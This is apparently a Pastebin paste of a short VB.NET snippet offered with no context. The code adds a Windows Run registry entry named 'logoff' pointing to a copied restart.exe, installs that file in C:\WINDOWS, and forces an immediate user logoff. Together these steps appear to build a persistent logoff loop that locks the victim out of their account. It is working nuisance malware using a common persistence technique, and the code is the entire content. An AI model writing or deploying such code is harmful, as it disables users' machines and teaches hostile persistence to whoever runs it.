Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
- Dim regname As String = "logoff"
- Dim filepath As String = "C:\WINDOWS\restart.exe"
- My.Computer.Registry.SetValue(regloc, regname, filepath, Microsoft.Win32.RegistryValueKind.String)
- Try
- My.Computer.FileSystem.CopyFile("./restart.exe", "C:\WINDOWS\restart.exe")
- Catch ex As Exception
- End Try
- System.Diagnostics.Process.Start("shutdown", "-l -t 00")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement